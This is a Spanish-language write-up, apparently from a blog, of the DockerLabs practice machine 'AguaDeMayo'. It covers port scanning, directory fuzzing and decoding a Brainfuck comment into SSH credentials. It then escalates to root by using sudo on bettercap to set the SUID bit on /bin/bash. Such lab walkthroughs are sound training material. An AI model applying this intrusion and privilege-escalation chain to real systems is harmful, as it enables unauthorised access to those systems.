Post

AguaDeMayo

DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.

AguaDeMayo

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/aguademayo:-$ ping -c 1 127.17.0.2
PING 127.17.0.2 (127.17.0.2) 56(84) bytes of data.
64 bytes from 127.17.0.2: icmp_seq=1 ttl=64 time=0.047 ms

--- 127.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.047/0.047/0.047/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/aguademayo:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG nmap1 127.17.0.2
Host: 127.17.0.2 ()	Status: Up
Host: 127.17.0.2 ()	Ports: 22/open/tcp//ssh///, 80/open/tcp//http///	Ignored State: closed (65533)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/home/kali/Documents/dockerlabs/aguademayo:-$ sudo nmap -sCV -p22,80 -vvv -oN nmap2 127.17.0.2
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 75:ec:4d:36:12:93:58:82:7b:62:e3:52:91:70:83:70 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMRaeMl5HzP0PMKd1yfAOHuPCmNExZI/4DB9HSC9ziglgySQKRqzfbEbqD00WXMvvvDpN/94jzGTgYk8w7TNN4Q=
|   256 8f:d8:0f:2c:4b:3e:2b:d7:3c:a2:83:d3:6d:3f:76:aa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOyI2THRG4Km6KNuoxG54FJksK4r+Dz2kw0+rBZcYhkC
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Analysis & Data Leak Exploitation

La página web inicial parece ser una plantilla predeterminada de Apache.

Durante el proceso de fuzzing, encuentro un subdirectorio accesible

1
2
/home/kali/Documents/dockerlabs/aguademayo:-$ dirsearch -u http://127.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[14:13:33] 301 -  309B  - /images  ->  http://127.17.0.2/images/

Dentro de este directorio, hay una imagen con un nombre sospechoso, ‘agua_ssh’.

Otro elemento sospechoso, son una serie de caracteres al final del código fuente de la página principal normalmente no deberían estar presentes en una plantilla de Apache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/home/kali/Documents/dockerlabs/aguademayo:-$ curl 127.17.0.2
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
	.
	.
	.
  </head>
  <body>
	.
	.
	.
  </body>
</html>

<!--
++++++++++[>++++++++++>++++++++++>++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++>++++++++++>+++++++++++>++++++++++++>++++++++++>++++++++++++>++++++++++>+++++++++++>+++++++++++>+>+<<<<<<<<<<<<<<<<<-]>--.>+.>--.>+.>---.>+++.>---.>---.>+++.>---.>+..>-----..>---.>.>+.>+++.>.
-->

Tras investigar, descubro que se trata de código escrito en un lenguaje llamado Brainfuck.

Si utilizo un decodificador para interpretar el código.

https://www.dcode.fr/brainfuck-language

El resultado es una cadena que parece ser una contraseña.

Con estas credenciales ‘agua:bebeaguaqueessano’ puedo acceder al sistema vía SSH.

1
2
3
4
5
/home/kali/Documents/dockerlabs/aguademayo:-$ ssh agua@127.17.0.2
agua@127.17.0.2's password: bebeaguaqueessano

agua@kali:~$ whoami
agua

Privilege Escalation

Al iniciar sesión, verifico que el usuario actual pertenece al grupo ‘lxd’ y tiene un entorno de shell interactivo configurado.

1
2
agua@kali:~$ id
uid=1000(agua) gid=1000(agua) groups=1000(agua),104(lxd)

El archivo ‘/etc/passwd’ confirma que el usuario agua utiliza ‘/bin/bash’ como shell por defecto.

1
2
3
agua@kali:~$ cat /etc/passwd | grep /bash$
root:x:0:0:root:/root:/bin/bash
agua:x:1000:1000::/home/agua:/bin/bash

El usuario ‘agua’ tiene permisos para ejecutar el binario ‘/usr/bin/bettercap’ como ‘root’ sin necesidad de proporcionar una contraseña.

1
agua@kali:~$ sudo -l

Al ejecutar ‘sudo /usr/bin/bettercap’, se abre el prompt interactivo de la herramienta. Desde allí, con el comando ‘help’, se pueden listar las funciones y comandos disponibles.

Una funcionalidad destacada de este entorno es que permite ejecutar comandos del sistema utilizando el símbolo ‘!’.

1
agua@kali:~$ sudo /usr/bin/bettercap

Aprovechando esta característica, asigno el bit SUID al binario ‘/bin/bash’

Esto modifica los permisos del binario bash, permitiendo que cualquier usuario que lo ejecute obtenga privilegios de ‘root’.

1
2
3
agua@kali:~$ /bin/bash -p
bash-5.2# id
uid=1000(agua) gid=1000(agua) euid=0(root) egid=0(root) groups=0(root),104(lxd),1000(agua)
This post is licensed under CC BY 4.0 by the author.